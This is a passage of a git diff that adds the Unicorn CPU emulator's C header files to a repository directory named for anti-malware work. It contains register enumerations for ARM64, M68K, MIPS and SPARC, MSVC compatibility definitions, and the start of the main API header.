UC_ARM64_REG_Q0, + UC_ARM64_REG_Q1, + UC_ARM64_REG_Q2, + UC_ARM64_REG_Q3, + UC_ARM64_REG_Q4, + UC_ARM64_REG_Q5, + UC_ARM64_REG_Q6, + UC_ARM64_REG_Q7, + UC_ARM64_REG_Q8, + UC_ARM64_REG_Q9, + UC_ARM64_REG_Q10, + UC_ARM64_REG_Q11, + UC_ARM64_REG_Q12, + UC_ARM64_REG_Q13, + UC_ARM64_REG_Q14, + UC_ARM64_REG_Q15, + UC_ARM64_REG_Q16, + UC_ARM64_REG_Q17, + UC_ARM64_REG_Q18, + UC_ARM64_REG_Q19, + UC_ARM64_REG_Q20, + UC_ARM64_REG_Q21, + UC_ARM64_REG_Q22, + UC_ARM64_REG_Q23, + UC_ARM64_REG_Q24, + UC_ARM64_REG_Q25, + UC_ARM64_REG_Q26, + UC_ARM64_REG_Q27, + UC_ARM64_REG_Q28, + UC_ARM64_REG_Q29, + UC_ARM64_REG_Q30, + UC_ARM64_REG_Q31, + UC_ARM64_REG_S0, + UC_ARM64_REG_S1, + UC_ARM64_REG_S2, + UC_ARM64_REG_S3, + UC_ARM64_REG_S4, + UC_ARM64_REG_S5, + UC_ARM64_REG_S6, + UC_ARM64_REG_S7, + UC_ARM64_REG_S8, + UC_ARM64_REG_S9, + UC_ARM64_REG_S10, + UC_ARM64_REG_S11, + UC_ARM64_REG_S12, + UC_ARM64_REG_S13, + UC_ARM64_REG_S14, + UC_ARM64_REG_S15, + UC_ARM64_REG_S16, + UC_ARM64_REG_S17, + UC_ARM64_REG_S18, + UC_ARM64_REG_S19, + UC_ARM64_REG_S20, + UC_ARM64_REG_S21, + UC_ARM64_REG_S22, + UC_ARM64_REG_S23, + UC_ARM64_REG_S24, + UC_ARM64_REG_S25, + UC_ARM64_REG_S26, + UC_ARM64_REG_S27, + UC_ARM64_REG_S28, + UC_ARM64_REG_S29, + UC_ARM64_REG_S30, + UC_ARM64_REG_S31, + UC_ARM64_REG_W0, + UC_ARM64_REG_W1, + UC_ARM64_REG_W2, + UC_ARM64_REG_W3, + UC_ARM64_REG_W4, + UC_ARM64_REG_W5, + UC_ARM64_REG_W6, + UC_ARM64_REG_W7, + UC_ARM64_REG_W8, + UC_ARM64_REG_W9, + UC_ARM64_REG_W10, + UC_ARM64_REG_W11, + UC_ARM64_REG_W12, + UC_ARM64_REG_W13, + UC_ARM64_REG_W14, + UC_ARM64_REG_W15, + UC_ARM64_REG_W16, + UC_ARM64_REG_W17, + UC_ARM64_REG_W18, + UC_ARM64_REG_W19, + UC_ARM64_REG_W20, + UC_ARM64_REG_W21, + UC_ARM64_REG_W22, + UC_ARM64_REG_W23, + UC_ARM64_REG_W24, + UC_ARM64_REG_W25, + UC_ARM64_REG_W26, + UC_ARM64_REG_W27, + UC_ARM64_REG_W28, + UC_ARM64_REG_W29, + UC_ARM64_REG_W30, + UC_ARM64_REG_X0, + UC_ARM64_REG_X1, + UC_ARM64_REG_X2, + UC_ARM64_REG_X3, + UC_ARM64_REG_X4, + UC_ARM64_REG_X5, + UC_ARM64_REG_X6, + UC_ARM64_REG_X7, + UC_ARM64_REG_X8, + UC_ARM64_REG_X9, + UC_ARM64_REG_X10, + UC_ARM64_REG_X11, + UC_ARM64_REG_X12, + UC_ARM64_REG_X13, + UC_ARM64_REG_X14, + UC_ARM64_REG_X15, + UC_ARM64_REG_X16, + UC_ARM64_REG_X17, + UC_ARM64_REG_X18, + UC_ARM64_REG_X19, + UC_ARM64_REG_X20, + UC_ARM64_REG_X21, + UC_ARM64_REG_X22, + UC_ARM64_REG_X23, + UC_ARM64_REG_X24, + UC_ARM64_REG_X25, + UC_ARM64_REG_X26, + UC_ARM64_REG_X27, + UC_ARM64_REG_X28, + + UC_ARM64_REG_V0, + UC_ARM64_REG_V1, + UC_ARM64_REG_V2, + UC_ARM64_REG_V3, + UC_ARM64_REG_V4, + UC_ARM64_REG_V5, + UC_ARM64_REG_V6, + UC_ARM64_REG_V7, + UC_ARM64_REG_V8, + UC_ARM64_REG_V9, + UC_ARM64_REG_V10, + UC_ARM64_REG_V11, + UC_ARM64_REG_V12, + UC_ARM64_REG_V13, + UC_ARM64_REG_V14, + UC_ARM64_REG_V15, + UC_ARM64_REG_V16, + UC_ARM64_REG_V17, + UC_ARM64_REG_V18, + UC_ARM64_REG_V19, + UC_ARM64_REG_V20, + UC_ARM64_REG_V21, + UC_ARM64_REG_V22, + UC_ARM64_REG_V23, + UC_ARM64_REG_V24, + UC_ARM64_REG_V25, + UC_ARM64_REG_V26, + UC_ARM64_REG_V27, + UC_ARM64_REG_V28, + UC_ARM64_REG_V29, + UC_ARM64_REG_V30, + UC_ARM64_REG_V31, + + //> pseudo registers + UC_ARM64_REG_PC, // program counter register + + UC_ARM64_REG_CPACR_EL1, + + //> thread registers + UC_ARM64_REG_TPIDR_EL0, + UC_ARM64_REG_TPIDRRO_EL0, + UC_ARM64_REG_TPIDR_EL1, + + UC_ARM64_REG_PSTATE, + + //> exception link registers + UC_ARM64_REG_ELR_EL0, + UC_ARM64_REG_ELR_EL1, + UC_ARM64_REG_ELR_EL2, + UC_ARM64_REG_ELR_EL3, + + //> stack pointers registers + UC_ARM64_REG_SP_EL0, + UC_ARM64_REG_SP_EL1, + UC_ARM64_REG_SP_EL2, + UC_ARM64_REG_SP_EL3, + + //> other CP15 registers + UC_ARM64_REG_TTBR0_EL1, + UC_ARM64_REG_TTBR1_EL1, + + UC_ARM64_REG_ESR_EL0, + UC_ARM64_REG_ESR_EL1, + UC_ARM64_REG_ESR_EL2, + UC_ARM64_REG_ESR_EL3, + + UC_ARM64_REG_FAR_EL0, + UC_ARM64_REG_FAR_EL1, + UC_ARM64_REG_FAR_EL2, + UC_ARM64_REG_FAR_EL3, + + UC_ARM64_REG_PAR_EL1, + + UC_ARM64_REG_MAIR_EL1, + + UC_ARM64_REG_VBAR_EL0, + UC_ARM64_REG_VBAR_EL1, + UC_ARM64_REG_VBAR_EL2, + UC_ARM64_REG_VBAR_EL3, + + UC_ARM64_REG_ENDING, // <-- mark the end of the list of registers + + //> alias registers + + UC_ARM64_REG_IP0 = UC_ARM64_REG_X16, + UC_ARM64_REG_IP1 = UC_ARM64_REG_X17, + UC_ARM64_REG_FP = UC_ARM64_REG_X29, + UC_ARM64_REG_LR = UC_ARM64_REG_X30, +} uc_arm64_reg; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/include/unicorn/m68k.h b/ai_anti_malware/unicorn/unicorn-master/include/unicorn/m68k.h new file mode 100644 index 0000000..80e8b92 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/include/unicorn/m68k.h @@ -0,0 +1,50 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2014-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_M68K_H +#define UNICORN_M68K_H + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +//> M68K registers +typedef enum uc_m68k_reg { + UC_M68K_REG_INVALID = 0, + + UC_M68K_REG_A0, + UC_M68K_REG_A1, + UC_M68K_REG_A2, + UC_M68K_REG_A3, + UC_M68K_REG_A4, + UC_M68K_REG_A5, + UC_M68K_REG_A6, + UC_M68K_REG_A7, + + UC_M68K_REG_D0, + UC_M68K_REG_D1, + UC_M68K_REG_D2, + UC_M68K_REG_D3, + UC_M68K_REG_D4, + UC_M68K_REG_D5, + UC_M68K_REG_D6, + UC_M68K_REG_D7, + + UC_M68K_REG_SR, + UC_M68K_REG_PC, + + UC_M68K_REG_ENDING, // <-- mark the end of the list of registers +} uc_m68k_reg; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/include/unicorn/mips.h b/ai_anti_malware/unicorn/unicorn-master/include/unicorn/mips.h new file mode 100644 index 0000000..77fde3c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/include/unicorn/mips.h @@ -0,0 +1,232 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_MIPS_H +#define UNICORN_MIPS_H + +#ifdef __cplusplus +extern "C" { +#endif + +// GCC MIPS toolchain has a default macro called "mips" which breaks +// compilation +#undef mips + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +//> MIPS registers +typedef enum UC_MIPS_REG { + UC_MIPS_REG_INVALID = 0, + //> General purpose registers + UC_MIPS_REG_PC, + + UC_MIPS_REG_0, + UC_MIPS_REG_1, + UC_MIPS_REG_2, + UC_MIPS_REG_3, + UC_MIPS_REG_4, + UC_MIPS_REG_5, + UC_MIPS_REG_6, + UC_MIPS_REG_7, + UC_MIPS_REG_8, + UC_MIPS_REG_9, + UC_MIPS_REG_10, + UC_MIPS_REG_11, + UC_MIPS_REG_12, + UC_MIPS_REG_13, + UC_MIPS_REG_14, + UC_MIPS_REG_15, + UC_MIPS_REG_16, + UC_MIPS_REG_17, + UC_MIPS_REG_18, + UC_MIPS_REG_19, + UC_MIPS_REG_20, + UC_MIPS_REG_21, + UC_MIPS_REG_22, + UC_MIPS_REG_23, + UC_MIPS_REG_24, + UC_MIPS_REG_25, + UC_MIPS_REG_26, + UC_MIPS_REG_27, + UC_MIPS_REG_28, + UC_MIPS_REG_29, + UC_MIPS_REG_30, + UC_MIPS_REG_31, + + //> DSP registers + UC_MIPS_REG_DSPCCOND, + UC_MIPS_REG_DSPCARRY, + UC_MIPS_REG_DSPEFI, + UC_MIPS_REG_DSPOUTFLAG, + UC_MIPS_REG_DSPOUTFLAG16_19, + UC_MIPS_REG_DSPOUTFLAG20, + UC_MIPS_REG_DSPOUTFLAG21, + UC_MIPS_REG_DSPOUTFLAG22, + UC_MIPS_REG_DSPOUTFLAG23, + UC_MIPS_REG_DSPPOS, + UC_MIPS_REG_DSPSCOUNT, + + //> ACC registers + UC_MIPS_REG_AC0, + UC_MIPS_REG_AC1, + UC_MIPS_REG_AC2, + UC_MIPS_REG_AC3, + + //> COP registers + UC_MIPS_REG_CC0, + UC_MIPS_REG_CC1, + UC_MIPS_REG_CC2, + UC_MIPS_REG_CC3, + UC_MIPS_REG_CC4, + UC_MIPS_REG_CC5, + UC_MIPS_REG_CC6, + UC_MIPS_REG_CC7, + + //> FPU registers + UC_MIPS_REG_F0, + UC_MIPS_REG_F1, + UC_MIPS_REG_F2, + UC_MIPS_REG_F3, + UC_MIPS_REG_F4, + UC_MIPS_REG_F5, + UC_MIPS_REG_F6, + UC_MIPS_REG_F7, + UC_MIPS_REG_F8, + UC_MIPS_REG_F9, + UC_MIPS_REG_F10, + UC_MIPS_REG_F11, + UC_MIPS_REG_F12, + UC_MIPS_REG_F13, + UC_MIPS_REG_F14, + UC_MIPS_REG_F15, + UC_MIPS_REG_F16, + UC_MIPS_REG_F17, + UC_MIPS_REG_F18, + UC_MIPS_REG_F19, + UC_MIPS_REG_F20, + UC_MIPS_REG_F21, + UC_MIPS_REG_F22, + UC_MIPS_REG_F23, + UC_MIPS_REG_F24, + UC_MIPS_REG_F25, + UC_MIPS_REG_F26, + UC_MIPS_REG_F27, + UC_MIPS_REG_F28, + UC_MIPS_REG_F29, + UC_MIPS_REG_F30, + UC_MIPS_REG_F31, + + UC_MIPS_REG_FCC0, + UC_MIPS_REG_FCC1, + UC_MIPS_REG_FCC2, + UC_MIPS_REG_FCC3, + UC_MIPS_REG_FCC4, + UC_MIPS_REG_FCC5, + UC_MIPS_REG_FCC6, + UC_MIPS_REG_FCC7, + + //> AFPR128 + UC_MIPS_REG_W0, + UC_MIPS_REG_W1, + UC_MIPS_REG_W2, + UC_MIPS_REG_W3, + UC_MIPS_REG_W4, + UC_MIPS_REG_W5, + UC_MIPS_REG_W6, + UC_MIPS_REG_W7, + UC_MIPS_REG_W8, + UC_MIPS_REG_W9, + UC_MIPS_REG_W10, + UC_MIPS_REG_W11, + UC_MIPS_REG_W12, + UC_MIPS_REG_W13, + UC_MIPS_REG_W14, + UC_MIPS_REG_W15, + UC_MIPS_REG_W16, + UC_MIPS_REG_W17, + UC_MIPS_REG_W18, + UC_MIPS_REG_W19, + UC_MIPS_REG_W20, + UC_MIPS_REG_W21, + UC_MIPS_REG_W22, + UC_MIPS_REG_W23, + UC_MIPS_REG_W24, + UC_MIPS_REG_W25, + UC_MIPS_REG_W26, + UC_MIPS_REG_W27, + UC_MIPS_REG_W28, + UC_MIPS_REG_W29, + UC_MIPS_REG_W30, + UC_MIPS_REG_W31, + + UC_MIPS_REG_HI, + UC_MIPS_REG_LO, + + UC_MIPS_REG_P0, + UC_MIPS_REG_P1, + UC_MIPS_REG_P2, + + UC_MIPS_REG_MPL0, + UC_MIPS_REG_MPL1, + UC_MIPS_REG_MPL2, + + UC_MIPS_REG_CP0_CONFIG3, + UC_MIPS_REG_CP0_USERLOCAL, + + UC_MIPS_REG_ENDING, // <-- mark the end of the list or registers + + // alias registers + UC_MIPS_REG_ZERO = UC_MIPS_REG_0, + UC_MIPS_REG_AT = UC_MIPS_REG_1, + UC_MIPS_REG_V0 = UC_MIPS_REG_2, + UC_MIPS_REG_V1 = UC_MIPS_REG_3, + UC_MIPS_REG_A0 = UC_MIPS_REG_4, + UC_MIPS_REG_A1 = UC_MIPS_REG_5, + UC_MIPS_REG_A2 = UC_MIPS_REG_6, + UC_MIPS_REG_A3 = UC_MIPS_REG_7, + UC_MIPS_REG_T0 = UC_MIPS_REG_8, + UC_MIPS_REG_T1 = UC_MIPS_REG_9, + UC_MIPS_REG_T2 = UC_MIPS_REG_10, + UC_MIPS_REG_T3 = UC_MIPS_REG_11, + UC_MIPS_REG_T4 = UC_MIPS_REG_12, + UC_MIPS_REG_T5 = UC_MIPS_REG_13, + UC_MIPS_REG_T6 = UC_MIPS_REG_14, + UC_MIPS_REG_T7 = UC_MIPS_REG_15, + UC_MIPS_REG_S0 = UC_MIPS_REG_16, + UC_MIPS_REG_S1 = UC_MIPS_REG_17, + UC_MIPS_REG_S2 = UC_MIPS_REG_18, + UC_MIPS_REG_S3 = UC_MIPS_REG_19, + UC_MIPS_REG_S4 = UC_MIPS_REG_20, + UC_MIPS_REG_S5 = UC_MIPS_REG_21, + UC_MIPS_REG_S6 = UC_MIPS_REG_22, + UC_MIPS_REG_S7 = UC_MIPS_REG_23, + UC_MIPS_REG_T8 = UC_MIPS_REG_24, + UC_MIPS_REG_T9 = UC_MIPS_REG_25, + UC_MIPS_REG_K0 = UC_MIPS_REG_26, + UC_MIPS_REG_K1 = UC_MIPS_REG_27, + UC_MIPS_REG_GP = UC_MIPS_REG_28, + UC_MIPS_REG_SP = UC_MIPS_REG_29, + UC_MIPS_REG_FP = UC_MIPS_REG_30, UC_MIPS_REG_S8 = UC_MIPS_REG_30, + UC_MIPS_REG_RA = UC_MIPS_REG_31, + + UC_MIPS_REG_HI0 = UC_MIPS_REG_AC0, + UC_MIPS_REG_HI1 = UC_MIPS_REG_AC1, + UC_MIPS_REG_HI2 = UC_MIPS_REG_AC2, + UC_MIPS_REG_HI3 = UC_MIPS_REG_AC3, + + UC_MIPS_REG_LO0 = UC_MIPS_REG_HI0, + UC_MIPS_REG_LO1 = UC_MIPS_REG_HI1, + UC_MIPS_REG_LO2 = UC_MIPS_REG_HI2, + UC_MIPS_REG_LO3 = UC_MIPS_REG_HI3, +} UC_MIPS_REG; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/include/unicorn/platform.h b/ai_anti_malware/unicorn/unicorn-master/include/unicorn/platform.h new file mode 100644 index 0000000..5bbfd8a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/include/unicorn/platform.h @@ -0,0 +1,221 @@ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +/* + This file is to support header files that are missing in MSVC and + other non-standard compilers. +*/ +#ifndef UNICORN_PLATFORM_H +#define UNICORN_PLATFORM_H + +/* +These are the various MSVC versions as given by _MSC_VER: +MSVC++ 14.0 _MSC_VER == 1900 (Visual Studio 2015) +MSVC++ 12.0 _MSC_VER == 1800 (Visual Studio 2013) +MSVC++ 11.0 _MSC_VER == 1700 (Visual Studio 2012) +MSVC++ 10.0 _MSC_VER == 1600 (Visual Studio 2010) +MSVC++ 9.0 _MSC_VER == 1500 (Visual Studio 2008) +MSVC++ 8.0 _MSC_VER == 1400 (Visual Studio 2005) +MSVC++ 7.1 _MSC_VER == 1310 (Visual Studio 2003) +MSVC++ 7.0 _MSC_VER == 1300 +MSVC++ 6.0 _MSC_VER == 1200 +MSVC++ 5.0 _MSC_VER == 1100 +*/ +#define MSC_VER_VS2003 1310 +#define MSC_VER_VS2005 1400 +#define MSC_VER_VS2008 1500 +#define MSC_VER_VS2010 1600 +#define MSC_VER_VS2012 1700 +#define MSC_VER_VS2013 1800 +#define MSC_VER_VS2015 1900 + +// handle stdbool.h compatibility +#if !defined(__CYGWIN__) && !defined(__MINGW32__) && !defined(__MINGW64__) && (defined (WIN32) || defined (WIN64) || defined (_WIN32) || defined (_WIN64)) +// MSVC + +// stdbool.h +#if (_MSC_VER < MSC_VER_VS2013) || defined(_KERNEL_MODE) +// this system does not have stdbool.h +#ifndef __cplusplus +typedef unsigned char bool; +#define false 0 +#define true 1 +#endif // __cplusplus + +#else +// VisualStudio 2013+ -> C99 is supported +#include <stdbool.h> +#endif // (_MSC_VER < MSC_VER_VS2013) || defined(_KERNEL_MODE) + +#else +// not MSVC -> C99 is supported +#include <stdbool.h> +#endif // !defined(__CYGWIN__) && !defined(__MINGW32__) && !defined(__MINGW64__) && (defined (WIN32) || defined (WIN64) || defined (_WIN32) || defined (_WIN64)) + +#if (defined(_MSC_VER) && (_MSC_VER < MSC_VER_VS2010)) || defined(_KERNEL_MODE) +// this system does not have stdint.h +typedef signed char int8_t; +typedef signed short int16_t; +typedef signed int int32_t; +typedef unsigned char uint8_t; +typedef unsigned short uint16_t; +typedef unsigned int uint32_t; +typedef signed long long int64_t; +typedef unsigned long long uint64_t; + +#ifndef _INTPTR_T_DEFINED + #define _INTPTR_T_DEFINED + #ifdef _WIN64 +typedef long long intptr_t; + #else /* _WIN64 */ +typedef _W64 int intptr_t; + #endif /* _WIN64 */ +#endif /* _INTPTR_T_DEFINED */ + +#ifndef _UINTPTR_T_DEFINED + #define _UINTPTR_T_DEFINED + #ifdef _WIN64 +typedef unsigned long long uintptr_t; + #else /* _WIN64 */ +typedef _W64 unsigned int uintptr_t; + #endif /* _WIN64 */ +#endif /* _UINTPTR_T_DEFINED */ + +#define INT8_MIN (-127i8 - 1) +#define INT16_MIN (-32767i16 - 1) +#define INT32_MIN (-2147483647i32 - 1) +#define INT64_MIN (-9223372036854775807i64 - 1) +#define INT8_MAX 127i8 +#define INT16_MAX 32767i16 +#define INT32_MAX 2147483647i32 +#define INT64_MAX 9223372036854775807i64 +#define UINT8_MAX 0xffui8 +#define UINT16_MAX 0xffffui16 +#define UINT32_MAX 0xffffffffui32 +#define UINT64_MAX 0xffffffffffffffffui64 +#else // this system has stdint.h +#include <stdint.h> +#endif // (defined(_MSC_VER) && (_MSC_VER < MSC_VER_VS2010)) || defined(_KERNEL_MODE) + +// handle inttypes.h compatibility +#if (defined(_MSC_VER) && (_MSC_VER < MSC_VER_VS2013)) || defined(_KERNEL_MODE) +// this system does not have inttypes.h + +#define __PRI_8_LENGTH_MODIFIER__ "hh" +#define __PRI_64_LENGTH_MODIFIER__ "ll" + +#define PRId8 __PRI_8_LENGTH_MODIFIER__ "d" +#define PRIi8 __PRI_8_LENGTH_MODIFIER__ "i" +#define PRIo8 __PRI_8_LENGTH_MODIFIER__ "o" +#define PRIu8 __PRI_8_LENGTH_MODIFIER__ "u" +#define PRIx8 __PRI_8_LENGTH_MODIFIER__ "x" +#define PRIX8 __PRI_8_LENGTH_MODIFIER__ "X" + +#define PRId16 "hd" +#define PRIi16 "hi" +#define PRIo16 "ho" +#define PRIu16 "hu" +#define PRIx16 "hx" +#define PRIX16 "hX" + +#if defined(_MSC_VER) && (_MSC_VER <= MSC_VER_VS2012) +#define PRId32 "ld" +#define PRIi32 "li" +#define PRIo32 "lo" +#define PRIu32 "lu" +#define PRIx32 "lx" +#define PRIX32 "lX" +#else // OSX +#define PRId32 "d" +#define PRIi32 "i" +#define PRIo32 "o" +#define PRIu32 "u" +#define PRIx32 "x" +#define PRIX32 "X" +#endif // defined(_MSC_VER) && (_MSC_VER <= MSC_VER_VS2012) + +#if defined(_MSC_VER) && (_MSC_VER <= MSC_VER_VS2012) +// redefine functions from inttypes.h used in cstool +#define strtoull _strtoui64 +#endif + +#define PRId64 __PRI_64_LENGTH_MODIFIER__ "d" +#define PRIi64 __PRI_64_LENGTH_MODIFIER__ "i" +#define PRIo64 __PRI_64_LENGTH_MODIFIER__ "o" +#define PRIu64 __PRI_64_LENGTH_MODIFIER__ "u" +#define PRIx64 __PRI_64_LENGTH_MODIFIER__ "x" +#define PRIX64 __PRI_64_LENGTH_MODIFIER__ "X" + +#else +// this system has inttypes.h by default +#include <inttypes.h> +#endif // #if defined(_MSC_VER) && (_MSC_VER < MSC_VER_VS2013) || defined(_KERNEL_MODE) + +// sys/time.h compatibility +#if defined(_MSC_VER) +#include <sys/timeb.h> +#include <winsock2.h> +#include <windows.h> + +static int gettimeofday(struct timeval* t, void* timezone) +{ + struct _timeb timebuffer; + _ftime( &timebuffer ); + t->tv_sec = (long)timebuffer.time; + t->tv_usec = 1000*timebuffer.millitm; + return 0; +} +#else +#include <sys/time.h> +#endif + +// unistd.h compatibility +#if defined(_MSC_VER) + +static int usleep(uint32_t usec) +{ + HANDLE timer; + LARGE_INTEGER due; + + timer = CreateWaitableTimer(NULL, TRUE, NULL); + if (!timer) + return -1; + + due.QuadPart = (-((int64_t) usec)) * 10LL; + if (!SetWaitableTimer(timer, &due, 0, NULL, NULL, 0)) { + CloseHandle(timer); + return -1; + } + WaitForSingleObject(timer, INFINITE); + CloseHandle(timer); + + return 0; +} + +#else +#include <unistd.h> +#endif + +// misc support +#if defined(_MSC_VER) +#ifdef _WIN64 +typedef signed __int64 ssize_t; +#else +typedef _W64 signed int ssize_t; +#endif + +#ifndef va_copy +#define va_copy(d,s) ((d) = (s)) +#endif +#define strcasecmp _stricmp +#if (_MSC_VER < MSC_VER_VS2015) +#define snprintf _snprintf +#endif +#if (_MSC_VER <= MSC_VER_VS2013) +#define strtoll _strtoi64 +#endif +#endif + + +#endif // UNICORN_PLATFORM_H diff --git a/ai_anti_malware/unicorn/unicorn-master/include/unicorn/sparc.h b/ai_anti_malware/unicorn/unicorn-master/include/unicorn/sparc.h new file mode 100644 index 0000000..08e0538 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/include/unicorn/sparc.h @@ -0,0 +1,130 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2014-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_SPARC_H +#define UNICORN_SPARC_H + +#ifdef __cplusplus +extern "C" { +#endif + +// GCC SPARC toolchain has a default macro called "sparc" which breaks +// compilation +#undef sparc + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +//> SPARC registers +typedef enum uc_sparc_reg { + UC_SPARC_REG_INVALID = 0, + + UC_SPARC_REG_F0, + UC_SPARC_REG_F1, + UC_SPARC_REG_F2, + UC_SPARC_REG_F3, + UC_SPARC_REG_F4, + UC_SPARC_REG_F5, + UC_SPARC_REG_F6, + UC_SPARC_REG_F7, + UC_SPARC_REG_F8, + UC_SPARC_REG_F9, + UC_SPARC_REG_F10, + UC_SPARC_REG_F11, + UC_SPARC_REG_F12, + UC_SPARC_REG_F13, + UC_SPARC_REG_F14, + UC_SPARC_REG_F15, + UC_SPARC_REG_F16, + UC_SPARC_REG_F17, + UC_SPARC_REG_F18, + UC_SPARC_REG_F19, + UC_SPARC_REG_F20, + UC_SPARC_REG_F21, + UC_SPARC_REG_F22, + UC_SPARC_REG_F23, + UC_SPARC_REG_F24, + UC_SPARC_REG_F25, + UC_SPARC_REG_F26, + UC_SPARC_REG_F27, + UC_SPARC_REG_F28, + UC_SPARC_REG_F29, + UC_SPARC_REG_F30, + UC_SPARC_REG_F31, + UC_SPARC_REG_F32, + UC_SPARC_REG_F34, + UC_SPARC_REG_F36, + UC_SPARC_REG_F38, + UC_SPARC_REG_F40, + UC_SPARC_REG_F42, + UC_SPARC_REG_F44, + UC_SPARC_REG_F46, + UC_SPARC_REG_F48, + UC_SPARC_REG_F50, + UC_SPARC_REG_F52, + UC_SPARC_REG_F54, + UC_SPARC_REG_F56, + UC_SPARC_REG_F58, + UC_SPARC_REG_F60, + UC_SPARC_REG_F62, + UC_SPARC_REG_FCC0, // Floating condition codes + UC_SPARC_REG_FCC1, + UC_SPARC_REG_FCC2, + UC_SPARC_REG_FCC3, + UC_SPARC_REG_G0, + UC_SPARC_REG_G1, + UC_SPARC_REG_G2, + UC_SPARC_REG_G3, + UC_SPARC_REG_G4, + UC_SPARC_REG_G5, + UC_SPARC_REG_G6, + UC_SPARC_REG_G7, + UC_SPARC_REG_I0, + UC_SPARC_REG_I1, + UC_SPARC_REG_I2, + UC_SPARC_REG_I3, + UC_SPARC_REG_I4, + UC_SPARC_REG_I5, + UC_SPARC_REG_FP, + UC_SPARC_REG_I7, + UC_SPARC_REG_ICC, // Integer condition codes + UC_SPARC_REG_L0, + UC_SPARC_REG_L1, + UC_SPARC_REG_L2, + UC_SPARC_REG_L3, + UC_SPARC_REG_L4, + UC_SPARC_REG_L5, + UC_SPARC_REG_L6, + UC_SPARC_REG_L7, + UC_SPARC_REG_O0, + UC_SPARC_REG_O1, + UC_SPARC_REG_O2, + UC_SPARC_REG_O3, + UC_SPARC_REG_O4, + UC_SPARC_REG_O5, + UC_SPARC_REG_SP, + UC_SPARC_REG_O7, + UC_SPARC_REG_Y, + + // special register + UC_SPARC_REG_XCC, + + // pseudo register + UC_SPARC_REG_PC, // program counter register + + UC_SPARC_REG_ENDING, // <-- mark the end of the list of registers + + // extras + UC_SPARC_REG_O6 = UC_SPARC_REG_SP, + UC_SPARC_REG_I6 = UC_SPARC_REG_FP, +} uc_sparc_reg; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/include/unicorn/unicorn.h b/ai_anti_malware/unicorn/unicorn-master/include/unicorn/unicorn.h new file mode 100644 index 0000000..c7f1703 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/include/unicorn/unicorn.h @@ -0,0 +1,779 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_ENGINE_H +#define UNICORN_ENGINE_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" +#include <stdarg.h> + +#if defined(UNICORN_HAS_OSXKERNEL) +#include <libkern/libkern.h> +#else +#include <stdlib.h> +#include <stdio.h> +#endif + +struct uc_struct; +typedef struct uc_struct uc_engine; + +typedef size_t uc_hook; + +#include "m68k.h" +#include "x86.h" +#include "arm.h" +#include "arm64.h" +#include "mips.h" +#include "sparc.h" + +#ifdef __GNUC__ +#define DEFAULT_VISIBILITY __attribute__((visibility("default"))) +#else +#define DEFAULT_VISIBILITY +#endif + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#pragma warning(disable:4100) +#ifdef UNICORN_SHARED +#define UNICORN_EXPORT __declspec(dllexport) +#else // defined(UNICORN_STATIC) +#define UNICORN_EXPORT +#endif +#else +#ifdef __GNUC__ +#define UNICORN_EXPORT __attribute__((visibility("default"))) +#else +#define UNICORN_EXPORT +#endif +#endif + +#ifdef __GNUC__ +#define UNICORN_DEPRECATED __attribute__((deprecated)) +#elif defined(_MSC_VER) +#define UNICORN_DEPRECATED __declspec(deprecated) +#else +#pragma message("WARNING: You need to implement UNICORN_DEPRECATED for this compiler") +#define UNICORN_DEPRECATED +#endif + +// Unicorn API version +#define UC_API_MAJOR 1 +#define UC_API_MINOR 0 + +// Unicorn package version +#define UC_VERSION_MAJOR UC_API_MAJOR +#define UC_VERSION_MINOR UC_API_MINOR +#define UC_VERSION_EXTRA 2 + + +/* + Macro to create combined version which can be compared to + result of uc_version() API. +*/ +#define UC_MAKE_VERSION(major, minor) ((major << 8) + minor) + +// Scales to calculate timeout on microsecond unit +// 1 second = 1000,000 microseconds +#define UC_SECOND_SCALE 1000000 +// 1 milisecond = 1000 nanoseconds +#define UC_MILISECOND_SCALE 1000 + +// Architecture type +typedef enum uc_arch { + UC_ARCH_ARM = 1, // ARM architecture (including Thumb, Thumb-2) + UC_ARCH_ARM64, // ARM-64, also called AArch64 + UC_ARCH_MIPS, // Mips architecture + UC_ARCH_X86, // X86 architecture (including x86 & x86-64) + UC_ARCH_PPC, // PowerPC architecture (currently unsupported) + UC_ARCH_SPARC, // Sparc architecture + UC_ARCH_M68K, // M68K architecture + UC_ARCH_MAX, +} uc_arch; + +// Mode type +typedef enum uc_mode { + UC_MODE_LITTLE_ENDIAN = 0, // little-endian mode (default mode) + UC_MODE_BIG_ENDIAN = 1 << 30, // big-endian mode + + // arm / arm64 + UC_MODE_ARM = 0, // ARM mode + UC_MODE_THUMB = 1 << 4, // THUMB mode (including Thumb-2) + UC_MODE_MCLASS = 1 << 5, // ARM's Cortex-M series (currently unsupported) + UC_MODE_V8 = 1 << 6, // ARMv8 A32 encodings for 